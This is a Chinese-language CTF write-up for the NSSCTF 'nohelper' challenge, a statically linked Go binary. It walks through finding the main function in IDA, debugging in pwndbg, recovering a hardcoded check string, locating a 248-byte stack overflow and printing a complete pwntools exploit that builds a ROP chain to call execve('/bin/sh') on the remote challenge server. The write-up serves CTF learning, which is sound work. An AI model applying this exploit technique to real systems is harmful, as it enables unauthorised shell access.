结论

pwn中的go程序大多数都是静态链接的,所以里面含有大量可以使用的gadget。同时在IDA中,go的主函数一般在最下面(最后几个函数一般是用户自己定义的)。

gopwn一般是栈溢出类型,并且使用rop进行系统调用实现shell获取

例题

题目地址:[NSSRound#2 Able]nohelper | NSSCTF

讲题目放进IDA中后难以找到主函数入口。根据师傅的分析,我们可以一般按照如下的流程找到主函数位置。

主函数定位

1.

找到Entry Point.

跟进。

  1. 跳到这里

继续跟进。

  1. 跳到这里:这里是处理程序的参数和CPU信息初始化等。

继续跟进dufby3r09zexgk

  1. dufby3r09zexgk函数中找到3个连续call的汇编位置:找到他们下面的off_4D0030

跟进off_4D0030查看。

  1. c864jqim4vp6

跟进c864jqim4vp6

  1. c864jqim4vp6找到这个代码块:其中e0ijkhbrz就是主函数。

ok了,到这里就能开始调试了。

程序分析

程序首先让我们输入flag。那我们就需要逆向出这个flag的值。

我们在主函数e0ijkhbrz下断点:

pwndbg> b *0x492E60
pwndbg> r

连续但不跟进后,结果gdb在这里卡住:说明是让我们进行输入,也就是输入猜测的flag,我们先随便输入。

连续单步后,发现将我们的字符串和flag{TangKeke!}作对比,也就是说我们需要输入flag{TangKeke!}:

ok,第一步攻击确定了,需要输入flag{TangKeke!}

输入试试看:输出geek!后又会让我们输入。

在gdb中调试看看:程序会第二次卡在这:

我们尝试输入cyclic 500生成的数据,最终定位到偏移值为248:

所以这里就是栈溢出,构造rop链,但是没有pop rdi; retgadget,所以需要mov qword ptr [rdi], rax ; ret来实现。

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8
from LibcSearcher import *
import json

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io = process("./pwn")
io = remote("node4.anna.nssctf.cn", 28187)

elf=ELF("./pwn")
# libc=ELF('./libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')


pause()

flag = b"flag{TangKeke!}"
offset = 248
prsi = 0x000000000041df6a
prdx = 0x0000000000487a0c
syscall = 0x000000000045ca49
mov_rdi = 0x000000000045c038
'''
0x000000000045c038 : mov qword ptr [rdi], rax ; ret
'''
prax = 0x000000000040c984

sla(b"first flag\n", flag)

p = b"a"*(offset)
p += p64(prax) + b"/bin/sh\x00"
p += p64(mov_rdi)
p += p64(prax) + p64(59)
p += p64(prsi) + p64(0)
p += p64(prdx) + p64(0)
p += p64(syscall)

sla(b"geek!", p)

inter()